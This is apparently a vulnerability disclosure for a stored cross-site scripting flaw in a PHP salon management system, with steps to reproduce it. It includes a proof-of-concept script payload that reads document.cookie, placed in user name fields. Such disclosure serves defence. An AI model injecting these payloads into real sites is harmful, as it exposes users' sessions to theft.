Stored XSS

# Exploit Title: Simple Online Men's Salon Management System - Stored XSS
# Exploit Author: Pratik Shetty
# Vendor Name: oretnom23 
# Vendor Homepage: https://www.sourcecodester.com/php/15069/simple-online-mens-salon-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/php/15069/simple-online-mens-salon-management-system-php-free-source-code.html
# Version: v1.0
# Tested on: Windows 10, Apache

`
Description:-
 A Stored Cross-Site Scripting (XSS) vulnerability in Simple Online Men's Salon Management System allows to inject Arbitrary JavaScript in Edit in "First Name", " Last Name " and "Username". 


`
Payload used:-
<script>confirm (document.cookie)</script>


`
Parameter":- 
First Name: <script>confirm (document.cookie)</script>
Last Name: <script>confirm (document.cookie)</script>
Username: <script>confirm (document.cookie)</script>


`
Steps to reproduce:-

1. Login into your admin account 
2. Now go to http://localhost/msms/admin/?page=user/list and add an new user
3. In that  "First Name", " Last Name " and "Username" parameter put the payload.

<script>confirm (document.cookie)</script>

4. As you can see our payload has been executed.